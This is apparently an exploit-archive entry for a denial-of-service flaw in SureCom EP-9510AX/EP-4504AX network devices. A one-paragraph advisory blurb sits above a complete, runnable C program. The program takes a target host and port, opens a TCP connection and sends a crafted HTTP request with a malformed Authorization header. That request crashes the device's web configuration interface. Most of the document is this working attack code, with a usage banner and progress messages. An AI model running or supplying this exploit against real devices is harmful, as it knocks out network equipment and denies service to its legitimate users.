SureCom EP-9510AXEP-4504AX Network Device - Malformed Web Authorisation Request Denial of Service (2)

// source: https://www.securityfocus.com/bid/9795/info
 
An issue in the handling of specific web requests by SureCom network devices has been identified. By placing a malformed request to the web configuration interface, it is possible for an attacker to deny service to legitimate users of a vulnerable device.


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("SureCom Network Device
DoS,\n");
                printf("by shaun2k2 -
[email protected]\n\n");
                printf("Usage: %s <host> <port>\n",
argv[0]);
                exit(-1);
        }

        int sock;
        struct hostent *he;
        struct sockaddr_in dest;

        if((he = gethostbyname(argv[1])) == NULL) {
                herror("gethostbyname()");
                exit(-1);
        }


        printf("SureCom Network Device DoS,\n");
        printf("by shaun2k2 -
[email protected]\n\n");

        printf("[+] Crafting exploit buffer...\n\n");
        char explbuf[] = "GET /
HTTP/1.1\r\nAuthorization: B 00000000\r\n\r\n";

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
                perror("socket()");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr
*)he->h_addr);

        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) < 0) {
                perror("socket()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        printf("[+] Sending malicious HTTP
request...\n");
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(2);
        close(sock);

        printf("[+] Done!\n");

        return(0);
}